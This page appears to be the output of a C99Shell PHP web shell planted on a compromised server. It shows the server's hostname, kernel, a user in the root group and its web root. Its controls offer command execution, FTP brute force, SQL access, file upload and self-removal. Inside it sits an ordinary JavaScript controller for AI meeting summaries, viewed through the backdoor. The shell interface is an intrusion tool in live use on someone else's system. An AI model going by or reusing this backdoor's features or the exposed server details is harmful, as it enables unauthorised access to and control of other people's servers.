!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/controllers/   drwxr-xr-x
Free 25.93 GB of 117.98 GB (21.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     summaryController.js (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { Summary, Meeting, Note, Transcript } = require('../models');
const { AppError, catchAsync } = require('../middleware/errorHandler');
const { generateAISummary } = require('../services/aiService');

exports.getMeetingSummary = catchAsync(async (req, res, next) => {
  try {
    const { meetingId } = req.params;
    const summary = await Summary.findOne({
      where: { meeting_id: meetingId }
    });

    // Return null data instead of 404 error to allow RTK Query to properly update cache
    res.json({
      success: true,
      data: summary || null
    });
  } catch (error) {
    next(error);
  }
});

exports.generateSummary = catchAsync(async (req, res, next) => {
  try {
    const { meetingId } = req.params;

    // Check if summary already exists
    const existingSummary = await Summary.findOne({
      where: { meeting_id: meetingId }
    });

    if (existingSummary) {
      throw new AppError('Summary already exists for this meeting', 400);
    }

    // Get meeting data
    const meeting = await Meeting.findByPk(meetingId);
    if (!meeting) {
      throw new AppError('Meeting not found', 404);
    }

    // Get meeting notes and transcripts
    const notes = await Note.findAll({ where: { meeting_id: meetingId } });
    const transcripts = await Transcript.findAll({
      where: { meeting_id: meetingId }
    });

    // Generate AI summary
    const summaryData = await generateAISummary({
      meeting,
      notes,
      transcripts
    });

    // Transform action_items to match model validation (array of objects with title)
    if (summaryData.action_items && Array.isArray(summaryData.action_items)) {
      summaryData.action_items = summaryData.action_items.map(item => {
        if (typeof item === 'string') {
          return { title: item };
        }
        return item;
      });
    }

    // Set status to completed after successful generation
    summaryData.status = 'completed';
    summaryData.meeting_id = meetingId;
    summaryData.confidence_score = 0.85; // Default confidence score
    summaryData.ai_model = 'openai/gpt-5-nano'; // From aiService

    // Create summary
    const summary = await Summary.create(summaryData);

    // Update meeting status to completed
    await meeting.update({ status: 'completed' });

    res.json({
      success: true,
      data: summary
    });
  } catch (error) {
    next(error);
  }
});

exports.getSummary = catchAsync(async (req, res, next) => {
  try {
    const summary = await Summary.findByPk(req.params.id);

    if (!summary) {
      throw new AppError('Summary not found', 404);
    }

    res.json({
      success: true,
      data: summary
    });
  } catch (error) {
    next(error);
  }
});

exports.updateSummary = catchAsync(async (req, res, next) => {
  try {
    const { overview, decisions, action_items, risks, questions } = req.body;
    const summary = await Summary.findByPk(req.params.id);

    if (!summary) {
      throw new AppError('Summary not found', 404);
    }

    await summary.update({
      overview,
      decisions,
      action_items,
      risks,
      questions
    });

    res.json({
      success: true,
      data: summary
    });
  } catch (error) {
    next(error);
  }
});

exports.approveSummary = catchAsync(async (req, res, next) => {
  try {
    const summary = await Summary.findByPk(req.params.id);

    if (!summary) {
      throw new AppError('Summary not found', 404);
    }

    await summary.update({
      status: 'approved',
      approved_at: new Date(),
      approved_by: req.user.id
    });

    res.json({
      success: true,
      message: 'Summary approved successfully',
      data: summary
    });
  } catch (error) {
    next(error);
  }
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--